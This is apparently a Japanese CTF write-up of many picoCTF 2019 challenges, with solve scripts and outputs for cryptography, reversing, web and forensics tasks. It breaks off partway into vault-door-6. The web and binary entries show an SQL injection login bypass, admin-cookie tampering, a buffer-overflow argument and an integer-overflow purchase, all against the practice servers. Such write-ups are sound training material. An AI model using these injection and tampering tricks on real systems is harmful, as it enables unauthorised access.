xxxxxxxx@pico-2019-shell1:/problems/overflow-0_3_e217dae547cccbfeb9dbae42623404b7$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{3asY_P3a5y40407786}
picoCTF{3asY_P3a5y40407786}

Resources (General Skills 100)

https://picoctf.com/resourcesのページにフラグが書かれている。

picoCTF{r3source_pag3_f1ag}

caesar (Cryptography 100)

{}の中だけシーザー暗号としてhttps://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 5:
crossingtherubiconeyocnzoa
picoCTF{crossingtherubiconeyocnzoa}

dont-use-client-side (Web Exploitation 100)

HTMLソースを見ると、以下のスクリプトがある。

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
      if (checkpass.substring(split*6, split*7) == 'ae13') {
        if (checkpass.substring(split, split*2) == 'CTF{') {
         if (checkpass.substring(split*4, split*5) == 'ts_p') {
          if (checkpass.substring(split*3, split*4) == 'lien') {
            if (checkpass.substring(split*5, split*6) == 'lz_e') {
              if (checkpass.substring(split*2, split*3) == 'no_c') {
                if (checkpass.substring(split*7, split*8) == '7}') {
                  alert("Password Verified")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
    
  }
</script>

部分文字列で比較しているので、順番を正しく並び替えつなげる。

picoCTF{no_clients_plz_eae137}

logon (Web Exploitation 100)

Usernameに ' or 1=1 # と入れて、Sign Inする。すると、No flag for youと表示されている。
クッキーを見てみると、adminがFalseになっているので、Trueにしてみると、フラグが表示された。
f:id:satou-y:20191014205430p:plain

picoCTF{th3_c0nsp1r4cy_l1v3s_5ff962c0}

strings it (General Skills 100)

$ strings strings | grep picoCTF
picoCTF{5tRIng5_1T_d169bb92}
picoCTF{5tRIng5_1T_d169bb92}

vault-door-1 (Reverse Engineering 100)

javaファイルが添付されている。

        :
    public boolean checkPassword(String password) {
        return password.length() == 32 &&
               password.charAt(0)  == 'd' &&
               password.charAt(29) == '1' &&
               password.charAt(4)  == 'r' &&
               password.charAt(2)  == '5' &&
               password.charAt(23) == 'r' &&
               password.charAt(3)  == 'c' &&
               password.charAt(17) == '4' &&
               password.charAt(1)  == '3' &&
               password.charAt(7)  == 'b' &&
               password.charAt(10) == '_' &&
               password.charAt(5)  == '4' &&
               password.charAt(9)  == '3' &&
               password.charAt(11) == 't' &&
               password.charAt(15) == 'c' &&
               password.charAt(8)  == 'l' &&
               password.charAt(12) == 'H' &&
               password.charAt(20) == 'c' &&
               password.charAt(14) == '_' &&
               password.charAt(6)  == 'm' &&
               password.charAt(24) == '5' &&
               password.charAt(18) == 'r' &&
               password.charAt(13) == '3' &&
               password.charAt(19) == '4' &&
               password.charAt(21) == 'T' &&
               password.charAt(16) == 'H' &&
               password.charAt(27) == 'a' &&
               password.charAt(30) == 'f' &&
               password.charAt(25) == '_' &&
               password.charAt(22) == '3' &&
               password.charAt(28) == '7' &&
               password.charAt(26) == '0' &&
               password.charAt(31) == '0';
    }
        :

パスワードを1文字ずつ比較している。正しい順に並べる。

          1111111111222222222233
01234567890123456789012345678901
d35cr4mbl3_tH3_cH4r4cT3r5_0a71f0
picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_0a71f0}

what's a net cat? (General Skills 100)

ncコマンドで接続するだけ。

$ nc 2019shell1.picoctf.com 49816
You're on your way to becoming the net cat master
picoCTF{nEtCat_Mast3ry_de552a4a}
picoCTF{nEtCat_Mast3ry_de552a4a}

where are the robots (Web Exploitation 100)

https://2019shell1.picoctf.com/problem/12267/robots.txtにアクセスする。

User-agent: *
Disallow: /8b71f.html

次にhttps://2019shell1.picoctf.com/problem/12267/8b71f.htmlにアクセスすると、フラグが表示された。

Guess you found the robots
picoCTF{ca1cu1at1ng_Mach1n3s_8b71f}
picoCTF{ca1cu1at1ng_Mach1n3s_8b71f}

What Lies Within (Forensics 150)

Stegsolveで開き、[Analyze]-[Data Extract]でRGBすべて0にチェックを入れると、フラグが出てくる。

picoCTF{h1d1ng_1n_th3_b1t5}

Based (General Skills 200)

2進数、8進数、16進数コードを文字にする問題。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

pattern = 'the (.+) as a word'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('2019shell1.picoctf.com', 7380))

data = recvuntil(s, ':')
m = re.search(pattern, data.split('\n')[2])
codes = m.group(1).split(' ')
ans = ''
for code in codes:
    ans += chr(int(code, 2))
print data + ans
s.sendall(ans + '\n')

data = recvuntil(s, ':')
m = re.search(pattern, data.split('\n')[1])
codes = m.group(1)[1:].split(' ')
ans = ''
for code in codes:
    ans += chr(int(code, 8))
print data + ans
s.sendall(ans + '\n')

data = recvuntil(s, ':')
m = re.search(pattern, data.split('\n')[1])
code = m.group(1)
ans = code.decode('hex')
print data + ans
s.sendall(ans + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Let us see how data is stored
oven
Please give the 01101111 01110110 01100101 01101110 as a word.
...
you have 45 seconds.....

Input:oven

Please give me the  160 145 141 162 as a word.
Input:pear

Please give me the 7375626d6172696e65 as a word.
Input:submarine

You've beaten the challenge

C:\CTF\大会\70_picoCTF\30_Based(General Skills 200)>solve.py
Let us see how data is stored
submarine
Please give the 01110011 01110101 01100010 01101101 01100001 01110010 01101001 01101110 01100101 as a word.
...
you have 45 seconds.....

Input:submarine

Please give me the  164 145 163 164 as a word.
Input:test

Please give me the 736c75646765 as a word.
Input:sludge

You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_8e70d435}
picoCTF{learning_about_converting_values_8e70d435}

First Grep: Part II (General Skills 200)

無数にあるファイルの中からフラグを探す。

xxxxxxxx@pico-2019-shell1:~$ cd /problems/first-grep--part-ii_1_49b202cd63f432b71d964b35f3912ff9/files
xxxxxxxx@pico-2019-shell1:/problems/first-grep--part-ii_1_49b202cd63f432b71d964b35f3912ff9/files$ ls
files0  files1  files10  files2  files3  files4  files5  files6  files7  files8  files9
xxxxxxxx@pico-2019-shell1:/problems/first-grep--part-ii_1_49b202cd63f432b71d964b35f3912ff9/files$ grep -r picoCTF ./
./files1/file3:picoCTF{grep_r_to_find_this_142b9c9e}
picoCTF{grep_r_to_find_this_142b9c9e}

Flags (Cryptography 200)

国際信号旗 https://ja.wikipedia.org/wiki/%E5%9B%BD%E9%9A%9B%E4%BF%A1%E5%8F%B7%E6%97%97 を参考に置き換えていく。

PICOCTF{F1AG5AND5TUFF}

Mr-Worldwide (Cryptography 200)

messageの中はこうなっている。

picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}

緯度と経度表しているようなので、Goggle Mapで調べる。都市の名称の頭文字を並べてみる。

35.028309, 135.753082	K(京都市)
46.469391, 30.740883	O(オデッサ)
39.758949, -84.191605	D(Dayton)
41.015137, 28.979530	I(イスタンブール)
24.466667, 54.366669	A(Abu Dhabi)
3.140853, 101.693207	K(Kuala Lumpur)
_
9.005401, 38.763611	A(Addis Ababa)
  • 3.989038, -79.203560 L(Loja)
52.377956, 4.897070 A(Amsterdam) 41.085651, -73.858467 S(Sleepy Hollow) 57.790001, -152.407227 K(Kodiak) 31.205753, 29.924526 A(Alexandria)
picoCTF{KODIAK_ALASKA}

Tapping (Cryptography 200)

$ nc 2019shell1.picoctf.com 54035
.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. .---- -.... .---- ---.. ----. ----. -.... --... --... ..... }

モールス信号のようなので、デコードする。

PICOCTF{M0RS3C0D31SFUN1618996775}

la cifra de (Cryptography 200)

$ nc 2019shell1.picoctf.com 60147
Encrypted message:
Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk

Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd

Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo 

Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xg36805q5}

Tnj qixxe wkqw-duhfmkseej ipsiwtpznzn uk l puqjarusahjeii htpnjc hubpvkw, hay rldk fcoaso 1467 be Qpot Gltzndtg Fwbkwei.

Zmp Volpnèxj Nivmpr ox ehkwpfuwp surptorps ifwlki ehk Fwbkwei Jndc uw Llhjcto Htpnjc.

It 1508, Ozhgsyey Ycizmpmozd itapnzjo tnj do-ifwlki eahzwa xjntg (f xazwtx uk dhokeej fwpnfmezx) ehgy hoaqo lgypr hj l cxneiifw curaotjyt uk ehk Atgksèce Inahkw.

Merqlsu’x deityd htzkrje avupaxjo it 1555 fd a itytosfaznzn uk ehk ktryy. Ehk qzwkw saraps uk ehk fwpnfmezx lrk szw ymtfzjo rklflgwwy, hze tnj llvmlbkyd ati ehk nydkc wezypry fce sniej gj mkfys uk l mtjxotnn kkd ahxfde, cmtcn hln hj oilkprkse woys eghs cuwceyuznjjyt.

quipqiupで復号してみたが、うまくいかない。
Vigenere暗号かもしれない。https://www.guballa.de/vigenere-solverで復号すると、key = flagで復号できた。

It is interesting how in history people often receive credit for things they did not create

During the course of history, the Vigenère Cipher has been reinvented many times

It was falsely attributed to Blaise de Vigenère as it was originally described in 1553 by Giovan Battista Bellaso in his book La cifra del. Sig. Giovan Battista Bellaso 

For the implementation of this cipher a table is formed by sliding the lower half of an ordinary alphabet for an apparently random number of places with respect to the upper halfpicoCTF{b311a50_0r_v1gn3r3_c1ph3rb36805f5}

The first well-documented description of a polyalphabetic cipher however, was made around 1467 by Leon Battista Alberti.

The Vigenère Cipher is therefore sometimes called the Alberti Disc or Alberti Cipher.

In 1508, Johannes Trithemius invented the so-called tabula recta (a matrix of shifted alphabets) that would later be a critical component of the Vigenère Cipher.

Bellaso’s second booklet appeared in 1555 as a continuation of the first. The lower halves of the alphabets are now shifted regularly, but the alphabets and the index letters are mixed by means of a mnemonic key phrase, which can be different with each correspondent.

長文の中にフラグが含まれていた。

picoCTF{b311a50_0r_v1gn3r3_c1ph3rb36805f5}

picobrowser (Web Exploitation 200)

Flagボタンを押すと、以下のように表示される。

You're not picobrowser! Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36

UserAgentをpicobrowserにしてアクセスする。

$ curl -A "picobrowser" https://2019shell1.picoctf.com/problem/32205/flag<!DOCTYPE html>
<html lang="en">

<head>
    <title>My New Website</title>


    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

</head>

<body>
        :
     
        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{p1c0_s3cr3t_ag3nt_665ad8a4}</code></p>
            <!-- <p><a class="btn btn-lg btn-success" href="admin" role="button">Click here for the flag!</a> -->
            <!-- </p> -->
        </div>
        :
</body>
picoCTF{p1c0_s3cr3t_ag3nt_665ad8a4}

plumbing (General Skills 200)

$ nc 2019shell1.picoctf.com 13203
    :
Not a flag either
Again, I really don't think this is a flag
This is defintely not a flag
Not a flag either
Again, I really don't think this is a flag
I don't think this is a flag either
Again, I really don't think this is a flag
This is defintely not a flag
This is defintely not a flag
Not a flag either

長い文章が表示される。フラグが埋もれているのか。。。

$ nc 2019shell1.picoctf.com 13203 | grep picoCTF
picoCTF{digital_plumb3r_2d92ccad}
picoCTF{digital_plumb3r_2d92ccad}

rsa-pop-quiz (Cryptography 200)

$ nc 2019shell1.picoctf.com 41419
Good morning class! It's me Ms. Adleman-Shamir-Rivest
Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do!
You will need to tell me if each example is possible, given your extensive crypto knowledge.
Inputs and outputs are in decimal. No hex here!
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):

次々と出るRSA暗号の問題に答えていく。

import socket
import re
from Crypto.Util.number import inverse, long_to_bytes

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('2019shell1.picoctf.com', 41419))

#### 1st Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'q : (.+)\np : (.+)\n'
m = re.search(pattern, data)
q = int(m.group(1))
p = int(m.group(2))
s.sendall('Y\n')
data = recvuntil(s, ': ')
n = p * q
print data + str(n)
s.sendall(str(n) + '\n')

#### 2nd Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'p : (.+)\nn : (.+)\n'
m = re.search(pattern, data)
p = int(m.group(1))
n = int(m.group(2))
s.sendall('Y\n')
data = recvuntil(s, ': ')
q = n / p
print data + str(q)
s.sendall(str(q) + '\n')

#### 3rd Question ####
data = recvuntil(s, '(Y/N):')
print data + 'N'
s.sendall('N\n')

#### 4th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'q : (.+)\np : (.+)\n'
m = re.search(pattern, data)
q = int(m.group(1))
p = int(m.group(2))
s.sendall('Y\n')
data = recvuntil(s, ': ')
phi = (p - 1) * (q - 1)
print data + str(phi)
s.sendall(str(phi) + '\n')

#### 5th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'plaintext : (.+)\ne : (.+)\nn : (.+)\n'
m = re.search(pattern, data)
plaintext = int(m.group(1))
e = int(m.group(2))
n = int(m.group(3))
s.sendall('Y\n')
data = recvuntil(s, ': ')
ciphertext = pow(plaintext, e, n)
print data + str(ciphertext)
s.sendall(str(ciphertext) + '\n')

#### 6th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'N'
s.sendall('N\n')

#### 7th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'q : (.+)\np : (.+)\ne : (.+)\n'
m = re.search(pattern, data)
q = int(m.group(1))
p = int(m.group(2))
e = int(m.group(3))
s.sendall('Y\n')
data = recvuntil(s, ': ')
d = inverse(e, (p - 1) * (q - 1))
print data + str(d)
s.sendall(str(d) + '\n')

#### 8th Question ####
data = recvuntil(s, '(Y/N):')
print data + 'Y'
pattern = 'p : (.+)\nciphertext : (.+)\ne : (.+)\nn : (.+)\n'
m = re.search(pattern, data)
p = int(m.group(1))
ciphertext = int(m.group(2))
e = int(m.group(3))
n = int(m.group(4))
s.sendall('Y\n')
data = recvuntil(s, ': ')
q = n / p
d = inverse(e, (p - 1) * (q - 1))
plaintext = pow(ciphertext, d, n)
print data + str(plaintext)
s.sendall(str(plaintext) + '\n')

#### 9th Question ####
data = recvuntil(s, '\n').rstrip()
print data

flag = long_to_bytes(plaintext)
print flag

実行結果は以下の通り。

Good morning class! It's me Ms. Adleman-Shamir-Rivest
Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do!
You will need to tell me if each example is possible, given your extensive crypto knowledge.
Inputs and outputs are in decimal. No hex here!
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
n: 4636878989
Outstanding move!!!


#### NEW PROBLEM ####
p : 54269
n : 5051846941
##### PRODUCE THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
q: 93089
Outstanding move!!!


#### NEW PROBLEM ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### PRODUCE THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!


#### NEW PROBLEM ####
q : 66347
p : 12611
##### PRODUCE THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
totient(n): 836623060
Outstanding move!!!


#### NEW PROBLEM ####
plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### PRODUCE THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
ciphertext: 256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813
Outstanding move!!!


#### NEW PROBLEM ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!


#### NEW PROBLEM ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### PRODUCE THE FOLLOWING ####
d
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
Outstanding move!!!


#### NEW PROBLEM ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 8912882894646477583454400348236949058408670778744442818353012222042704790879165392413810328434533368815401434692827900563837944856583984017045434173517835510534863601509861876262293451989744597349091994595760185764333735091480503448088436097657524149680261104923328031607034461748330117736923628217810237001904970100233374072370798557334762121915597337917057515027501014733191532748462090056478750401553590065462709681170356782711617016194732353713320019986821739812673882662012559538250121292704157394353123692274271534900743227359399642267919801422429794696591531158171247660081469493682602542320633913133396204317
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
plaintext: 14311663942709674867122208214901970650496788151239520971623411712977120623143718109924440445
Outstanding move!!!
picoCTF{wA8_th4t$_ill3aGal..offd14229}
picoCTF{wA8_th4t$_ill3aGal..offd14229}

vault-door-4 (Reverse Engineering 250)

javaファイルが添付されている。フラグに関係がある部分は以下のようになっている。

    public boolean checkPassword(String password) {
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
            0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
            0142, 0131, 0164, 063 , 0163, 0137, 0141, 065 ,
            '8' , '8' , '4' , '4' , 'e' , '5' , 'e' , '1' ,
        };
        for (int i=0; i<32; i++) {
            if (passBytes[i] != myBytes[i]) {
                return false;
            }
        }
        return true;
    }

この値と比較していることからフラグを導き出す。

codes = [
    106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
    0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
    0142, 0131, 0164, 063 , 0163, 0137, 0141, 065 ,
    '8' , '8' , '4' , '4' , 'e' , '5' , 'e' , '1' 
]

flag = ''
for i in range(len(codes)):
    if i < 24:
        flag += chr(codes[i])
    else:
        flag += codes[i]

flag = 'picoCTF{%s}' % flag
print flag
picoCTF{jU5t_4_bUnCh_0f_bYt3s_a58844e5e1}

flag_shop (General Skills 300)

cのソースコードが添付されていて、ncで接続する問題になっている。ソースコードを読むと、サーバ処理の概要は以下のようになっていることがわかる。

account_balance初期値:1100

■1
・account_balance表示

■2
・1を選択した場合
 ・number_flagsを入力
 ・900*number_flagsがaccount_balanceより小さければ、900*number_flagsをaccount_balanceから引く
・2を選択した場合
 ・account_balanceが100000より大きければフラグを表示

■3
・exit

intのオーバーフローを使うようだ。

$ nc 2019shell1.picoctf.com 8376
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
4772000

The final cost is: -167296

Your current balance after transaction: 168396

Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
1



 Balance: 168396 


Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
2
1337 flags cost 100000 dollars, and we only have 1 in stock
Enter 1 to buy one1
YOUR FLAG IS: picoCTF{m0n3y_bag5_6f3a913a}
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

 Enter a menu selection
picoCTF{m0n3y_bag5_6f3a913a}

miniRSA (Cryptography 300)

RSA暗号でN, e, cが与えられている。Nが非常に大きく、eが小さいため、cのe乗根を取って復号する。

import gmpy
from Crypto.Util.number import *

e = 3
c = 2205316413931134031074603746928247799030155221252519872650090188613452564237125578465730267259964004717502122380246206889902726277183873277327660628860571110294829824875203511275589025377840116767106200804425285036496482998467992009084773

m = gmpy.root(c, e)[0]
flag = long_to_bytes(m)
print flag
picoCTF{n33d_a_lArg3r_e_e8e7052f}

vault-door-5 (Reverse Engineering 300)

javaファイルが添付されている。フラグに関係がある部分は以下のようになっている。

    public boolean checkPassword(String password) {
        String urlEncoded = urlEncode(password.getBytes());
        String base64Encoded = base64Encode(urlEncoded.getBytes());
        String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"
                        + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"
                        + "JTM0JTVmJTMzJTM3JTM4JTMwJTM0JTY1JTM3JTM5";
        return base64Encoded.equals(expected);
    }

この文字列をBase64デコードして、URLデコードする。

enc = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm" \
    + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2" \
    + "JTM0JTVmJTMzJTM3JTM4JTMwJTM0JTY1JTM3JTM5"

dec = enc.decode('base64')
dec = dec.replace('%', '').decode('hex')
flag = 'picoCTF{%s}' %dec
print flag
picoCTF{c0nv3rt1ng_fr0m_ba5e_64_37804e79}

waves over lambda (Cryptography 300)

$ nc 2019shell1.picoctf.com 49935
-------------------------------------------------------------------------------
jmyglsac dwlw rc omel kxsg - klwbewyjo_rc_j_muwl_xsqits_uajlkuuscm
-------------------------------------------------------------------------------
dsuryg dst cmqw arqw sa qo trcnmcsx pdwy ry xmytmy, r dst urcrawt adw ilrarcd qecweq, syt qstw cwsljd sqmyg adw immhc syt qsnc ry adw xrilslo lwgsltryg alsycoxusyrs; ra dst calejh qw adsa cmqw kmlwhympxwtgw mk adw jmeyalo jmext dsltxo ksrx am dsuw cmqw rqnmlasyjw ry twsxryg prad s ymixwqsy mk adsa jmeyalo. r kryt adsa adw trcalrja dw ysqwt rc ry adw wfalwqw wsca mk adw jmeyalo, zeca my adw imltwlc mk adlww casawc, alsycoxusyrs, qmxtsurs syt iehmurys, ry adw qrtca mk adw jslnsadrsy qmeyasryc; myw mk adw prxtwca syt xwsca hympy nmlarmyc mk welmnw. r psc yma sixw am xrgda my syo qsn ml pmlh gruryg adw wfsja xmjsxrao mk adw jscaxw tlsjexs, sc adwlw slw ym qsnc mk adrc jmeyalo sc owa am jmqnslw prad mel mpy mltysyjw celuwo qsnc; iea r kmeyt adsa ircalrav, adw nmca ampy ysqwt io jmeya tlsjexs, rc s ksrlxo pwxx-hympy nxsjw. r cdsxx wyawl dwlw cmqw mk qo ymawc, sc adwo qso lwklwcd qo qwqmlo pdwy r asxh muwl qo alsuwxc prad qrys.

換字式暗号のようなので、qupqiupで調整しながら、復号する。

-------------------------------------------------------------------------------
congrats here is your flag - frequency_is_c_over_lambda_vtcrfvvaso
-------------------------------------------------------------------------------
having had some time at my dis?osal when in london, i had visited the british museum, and made search among the books and ma?s in the library regarding transylvania; it had struck me that some foreknowledge of the country could hardly fail to have some im?ortance in dealing with a nobleman of that country. i find that the district he named is in the extreme east of the country, ?ust on the borders of three states, transylvania, moldavia and bukovina, in the midst of the car?athian mountains; one of the wildest and least known ?ortions of euro?e. i was not able to light on any ma? or work giving the exact locality of the castle dracula, as there are no ma?s of this country as yet to com?are with our own ordnance survey ma?s; but i found that bistrit?, the ?ost town named by count dracula, is a fairly well-known ?lace. i shall enter here some of my notes, as they may refresh my memory when i talk over my travels with mina.
picoCTF{frequency_is_c_over_lambda_vtcrfvvaso}

WebNet0 (Forensics 350)

Wiresharkで以下のパラメータと合わせて秘密鍵を設定する。

IP address: 172.31.22.220
Port: 443
Protocol: http

HTTPストリームを見る。

GET /starter-template.css HTTP/1.1
Host: ec2-18-223-184-200.us-east-2.compute.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://ec2-18-223-184-200.us-east-2.compute.amazonaws.com/
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Fri, 23 Aug 2019 15:56:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Mon, 12 Aug 2019 16:47:05 GMT
ETag: "62-58fee462bf227-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Pico-Flag: picoCTF{nongshim.shrimp.crackers}
Content-Length: 100
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/css
        :
        :
picoCTF{nongshim.shrimp.crackers}

vault-door-6 (Reverse Engineering 350)

javaファイルが添付されている。フラグに関係がある部分は以下のようになっている。

    public boolean checkPassword(String password) {
        if (password.length() != 32) {
